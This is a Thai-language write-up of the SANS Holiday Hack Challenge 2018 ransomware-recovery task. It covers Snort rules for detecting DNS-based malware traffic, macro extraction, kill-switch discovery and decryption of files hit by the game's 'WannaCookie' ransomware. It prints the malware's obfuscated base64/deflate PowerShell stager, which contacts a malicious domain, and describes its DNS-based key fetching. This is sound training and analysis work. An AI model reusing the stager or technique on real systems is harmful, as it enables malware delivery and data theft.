
KringleCon; HolidayHackChallenge 2018 ข้อ 9

Nuttakorn Dhiraprayudti
จบไปแล้วกับการ submit คำตอบของ SANS Holiday Hack Challenge ประจำปี 2018 โดยในปีนี้มีมาในชื่อของ KringleCon (https://kringlecon.com) มี Theme เป็นการจัด สำหรับโจทย์ในปีนี้ถูกแบ่งออกเป็น 10 ข้อ โดยข้อที่ท้าทายที่สุดในความคิดผมคือข้อที่ 9 Ransomware Recovery
โจทย์ข้อนี้คือ มีเครื่องของ NPC ติด ransomware ชื่อ WannaCookie เรามีหน้าที่ที่จะต้องทำการ Detect เจ้า malware ตัวนี้ พร้อมทั้งทำหน้าที่กู้ไฟล์ในเครื่องเพื่อนำมาใช้เพื่อเปิดประตูที่มี Access Control อยู่ โดยข้อมูลที่เราได้รับมาพร้อมกับโจทย์คือ ไฟล์ที่ถูกเข้ารหัสไว้โดย WannaCookie และ memory dump จาก infected machine โจทย์ข้อนี้แบ่งออกเป็น 4 ส่วนย่อยดังต่อไปนี้
- Catch the Malware
- Identify the Domain
- Stop the Malware
- Recover Alabaster’s Password
เริ่มจากข้อแรก Catch the Malware
เป้าหมายของข้อนี้คือการให้เราฝึกเขียน Snort rule เพื่อทำการ detect malware communication โดยจะมี file pcap มาให้วิเคราะห์ ซึ่งถ้าเปิดดูก็จะเห็นได้ค่อนข้างชัดเจนว่ามี DNS Traffic แปลก ๆ โดยลักษณะของความแปลกนี้คืออยู่ในรูปแบบของ TXT record ที่มี Format
- <hex 32 characters>.domainname.TLD (Top Level Domain)
.<hex 38 characters>.domainname.TLD (Top Level Domain) - โดยค่า TXT record แปลก ๆ นี้อยู่ทั้งใน DNS Query และ DNS Response

Wireshark
เมื่อเห็น pattern แล้วเราก็สามารถเขียน Snort rule ได้ไม่ยาก โดย rule ที่เราจะเขียนคือ
- Protocol เป็น UDP
- ถ้าในกรณีที่เป็น DNS Request ค่าของ Destination Port จะเป็น Port 53 (DNS)
- ถ้าในกรณีที่เป็น DNS Response ค่าของ Source Port จะเป็น Port 53
- โดยทำการตรวจสอบตาม Regular expression ดังต่อไปนี้ /[0–9]{0,3}\&[0–9A-F]{10,}/ โดยตรวจสอบ 3 ส่วนคือค่าตัวเลข 3 หลัก (โดยอาจจะไม่มีก็ได้) ตามด้วย & (ค่านี้ถ้าเราดูใน raw packet จะเห็นว่ามีก่อนเริ่ม Hex 32 ตัวอักษร) ตามด้วยค่า Hex อย่างน้อย 10 ตัวอักษรขึ้นไป (ที่เลือกแค่ 10 เพราะคิดว่าถ้าเกินกว่านี้ก็ผิดปกติแล้ว)

Wireshark
จากนั้นก็นำ rule ไปเขียนใน file /etc/snort/rules/local.rules
alert udp any any -> any 53 ( msg:"Detect malicious DNS request"; pcre:"/\[0-9\]{0,3}\\&\[0-9A-F\]{10,}/"; sid:12345; )alert udp any 53 -> any any ( msg:”Detect malicious DNS response”; pcre:”/\[0–9\]{0,3}\\&\[0–9A-F\]{10,}/”; sid:123456; )
โดย rule ของ snort จะมี Syntax อยู่ 2 ส่วนคือ Rule Header และ Rule Option ในส่วนของ Option ก็สามารถระบุได้หลากหลายรุปแบบขึ้นอยู่กับความต้องการของเราว่าจะ Detect อะไร แต่ส่วนที่จำเป็นคือ msg (จะให้ขึ้นใน log ว่าอะไรถ้า detect เจอ), sid (Signature Unique ID เป็นค่า unique ในแต่ละ rule)

images
ในส่วนของการเขียน Snort rule และ Regular expression สามารถใช้เว็บ snopy.com และ regex101.com ช่วยเขียนได้ครับ

rules
เท่านี้เราก็จะผ่านส่วนแรกไปได้ เมื่อตอบคำถามในส่วนที่ 1 สำเร็จแล้วเราจะต้องคุยกับ NPC ในเกมส์เพื่อให้เนื้อเรื่องดำเนินต่อ โดย NPC ในเกมส์จะให้ไฟล์ zip ชื่อว่า CHOCOLATE_CHIP_COOKIE_RECIPE.zip สามารถ download ได้ที่ https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE%5FCHIP%5FCOOKIE%5FRECIPE.zip โดย password สำหรับ unzip คือ elves
ข้อที่ 2 Identify the Domain
เมื่อ extract file ออกมาจะได้ file DOCX ซึ่งเป็น Malware dropper โดยมี macro embedded มาด้วย สามารถใช้ Olevba เพื่อ extract macro (https://github.com/decalage2/oletools/wiki/olevba) หรือ ถ้าจะลูกทุ่งหน่อยก็เปิด file นี้แล้ว disable macro ทิ้งจากนั้นเข้าหน้า Developer แล้วเลือก Visual Basic เพื่อดู script

olevba

olevba
หน้าที่ต่อคือเราต้องศึกษา Script นี้เพื่อดูว่ามันทำหน้าที่อะไรบ้าง โดยใน KringleCon แนะนำให้ดู Clip ของ Chris
https://www.youtube.com/watch?v=wd12XRq2DNk
เมื่อดูเสร็จก็ทำการ Clean up ตามที่เค้าแนะนำจะได้
sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gX REohG’),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd()
ถ้าเอา code นี้ไป run ใน powershell ก็จะเห็นว่ามีการพยายาม communicate กับ domain ที่ชื่อว่า “erohetfanu.com”

Powershell
ข้อที่ 3 Stop the Malware
ข้อนี้ทำคล้ายกับ WannaCry ที่มี kill switch domain คือเมื่อเครื่อง infect malware จะทำการติดต่อ Domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com ก่อน ถ้าพบว่า domain นี้ไม่มีการ register WannaCry ก็จะทำงานต่อ แต่ถ้า domain นี้มีการ register แล้ว WannaCry ก็จะไม่ทำงาน โดย NPC ในเกมส์ก็ได้ hint ว่าเจ้า malware (ในเกมชื่อว่า WannaCookie) นี้น่าจะมี Kill switch domain ลักษณะเดียวกับ WannaCry
เหมือนเดิมใช้วิธีใน YouTube ด้านบน หลัก ๆ คือเปลี่ยนจาก iex เป็น Write-Ouput เราจะได้รู้ว่า code ที่ใช้ execute คืออะไร

Powershell
นำ output มาจัดเรียงใหม่ซักหน่อยเพื่อที่จะได้ช่วยให้อ่านได้รู้เรื่องมากขึ้น

Powershell
โดย Main function ของ code นี้จะอยู่ที่ wanc

Powershell
โดยส่วนที่พยายามจะ resolve DNS ในตอนเริ่มของ code คือท่อนที่มีการ Highlight ไว้ พวก Function H2A, B2H, B2H, G2B, H2B โดยกลุ่ม Function พวกนี้คือการ convert ค่าระหว่า Hexadecimal, Bytes, ASCII, Decimal ทำการ Debug ที่ Function ti_rox เพื่อดูว่าค่าอะไรที่ถูก return ออกมาตอนจบ Function พบว่าเป็นค่า Decimal

Powershell
นำค่า Decimal ไป convert เป็น ASCII พบว่าได้เป็น String ว่า yippeekiyaa.aaay ซึ่งค่านี้ก็คือชื่อ Kill switch domain นั่นเอง เมื่อนำไป register เราก็จะผ่านข้อนี้ได้

Powershell
ข้อที่ 4 Recover Alabaster’s Password
ข้อนี้คือจะพยายามให้ Decrypt ไฟล์ที่ถูกเข้ารหัสอยู่ โดยในไฟล์นี้จะมี password ของ NPC ที่ชื่อ Alabaster อยู่ โดยสามารถ download ได้ที่ https://www.holidayhackchallenge.com/2018/challenges/forensic%5Fartifacts.zip เมื่อแตก Zip จะได้ 2 files คือ file ที่ถูก encrypt อยู่ และ memory dump จากเครื่องของ Alabaster ตอนที่ malware เริ่มทำงาน
ถ้าเอา code จากข้อ 3 มาไล่อ่านจะพบว่าการทำงานของ WannaCookie เป็นดังนี้

WannaCookie
การทำงานของ WannaCookie เริ่มจากไปเรียกค่า Public Key มาโดยใช้ g_o_dns(7365727665722E637274) ซึ่งค่า hexadecimal 7365727665722E637274 ถ้าแปลงเป็น ASCII จะได้ server.crt
จากนั้นทำการสร้าง AES Key แบบ Random เอาค่า Key นี้ convert ไปเป็น format ที่ต้องการ แล้วสร้าง Sha-1 hash ไว้ จากนั้นเอา Public Key ทำการ Encrypt ค่า AES Key แล้วทำการเก็บไว้ในตัวแปรชื่อ $p_k_e_k
จากนั้นนำค่า AES Key ไปทำการ encrypt file ต่าง ๆ ในเครื่อง แล้วก็ทำการ clear ค่า AES key ทิ้ง (การ Clear ค่า AES Key ทิ้งเพื่อไม่ให้เราสามารถ recover AES Key ได้จาก memory dump)
เมื่อเราเข้าใจการทำงานของ WannaCookie แล้วขั้นตอนการ Decrypt ก็ไม่ยากมาก

WannaCookie
Note: สำหรับการ Decrypt นี้เนื่องจาก Server มีช่องโหว่ทำให้เราสามารถดึงค่า Private Key ได้ดังนั้นทำให้เราสามารถที่จะ Decrypt file ที่ติด ransomware ได้ ในสถานการณ์จริงก็ต้องดูด้วยว่า Malware Author นั้นเก่งแค่ไหน และมีจุดผิดพลาดตรงไหน
เริ่มจากหาค่า $p_k_e_k ใน memory เนื่องจากค่านี้ไม่ได้ถูก clear ดังนั้น่าจะต้องมีเหลืออยู่ใน memory ทำการ debug ค่าของ $p_k_e_k ใน PowerShell ISE พบว่าค่านี้มีความยาว 512 ตัวอักษรในรูปแบบของ hexadecimal โดยตัวอย่างของค่าต่าง ๆ ที่น่าสนใจเป็นไปตามรูปด้านล่าง

Code
เมื่อเราทราบความยาวของ $p_k_e_k แล้วเราจะใช้เป็นตัว filter ค่าใน memory โดยอาศัยความรู้ที่ได้จาก YouTube ด้านบนโดย Chris เหมือนเดิม คราวนี้ใช้ powerdump โดย filter ที่ใช้คือ len == 512

Code
มีค่าเดียวใน memory dump ที่มีความยาว 512 คือ
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
เมื่อได้ค่าที่เราคาดว่าเป็น $p_k_e_k แล้วขั้นตอนต่อไปจะเป็นการดึงค่า Private Key จาก Server โดยเราใช้ function g_o_dns ที่ใช้ดึงค่า Public Key ตอน Encryption นั่นแหละ
ชื่อ file “server.crt” hexadecimal คือ 7365727665722E637274 ถ้าต้องการชื่อ file อื่น เราก็สามารถที่จะแก้ hexadecimal value เป็นค่าอื่น ในกรณีนี้ต้องการ server.key ค่า hexadecimal คือ 7365727665722e6b6579 ใน PowerShell เรียก g_o_dns(7365727665722e6b6579) เราจะได้ค่า Private Key

image
จากนั้นนำค่า Private Key และ Public Key ที่ได้มาประกอบร่างกันโดย convert เป็น PFX format เพื่อนำไปใช้ใน Windows โดยใช้ OpenSSL
$ openssl pkcs12 -export -out <cert.pfx> -inkey <privatekey.key> -in <certificate.crt>
เมื่อรวมได้แล้วลองนำไฟล์เปิดใน Windows ก็จะเห็นว่ามีเขียนว่ามี Private Key อยู่ด้วย

Cert
จากนั้นเขียน PowerShell Script เพื่อทำการ Decrypt file
#Create certificate object$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;#Imports a private key and certificate into the certificate object$cert.Import(“C:\\Users\\Administrator\\Desktop\\certificate.pfx”, “password”, “Exportable”);#p_k_e_k value which get from memory dump$enc\_key = “3cf9…..f971”;#format conversion$enc_key2 = H2B($enc\_key);#Decrypt p\_k\_e\_k to get the AES key$key = $cert.PrivateKey.Decrypt($enc_key2, $true);#Reference to infected file$f_c = “C:\\Users\\Administrator\\Desktop\\alabaster_passwords.elfdb.wannacookie”;#Decrypt the fileเe_d_file $key $f_c $false;
เมื่อ Decrypt สำเร็จจะได้ alabaster_password.elfdb มา จากนั้นใช้คำสั่ง file จะรู้ว่าเป็น SQLite database เปิดดูจะเห็นว่าเป็น password ทั้งหมด อันที่สนใจในข้อนี้คือ password สำหรับ vault ดังนั้นคำตอบคือ “ED#ED#EED#EF#G#F#G#ABA#BA#B”

Code
จบ
Up Next

ARTICLES
Mar
04
2021
การถอดรหัสข้อความที่ 2 ของฆาตรกรต่อเนื่องที่ใช้ชื่อ Zodiac
มีคนสามารถถอดรหัสข้อความที่ 2 ของฆาตรกรต่อเนื่องที่ใช้ชื่อ Zodiac ได้สำเร็จ ซึ่งเป็นคดีที่มีอายุมากว่า 50 ปีแล้ว และยังคงเป็นคดีที่เป็นปริศนาอยู่จนทุกวันนี้
READ MORE

ARTICLES
Mar
04
2021
ชำแหละ Zerologon (CVE-2020-1472)
สองสามวันที่ผ่านมานี้หลายคนอาจจะได้ยินเรื่องช่องโหว่ระดับความรุนแรงสูงมาก (CVSS v3 score เต็ม 10 ไม่มีหัก)
READ MORE

ARTICLES
Mar
05
2021
Zero Trust model
เคยสงสัยมั้ยครับว่า Standard อะไรหรือ Framework อะไรที่ควรทำ หรือควร comply ดี ทำแล้วเหนื่อยน้อย ทำแล้วมั่นคงปลอดภัย จากการสังเกตมักจะมีเหตุผลประมาณ
READ MORE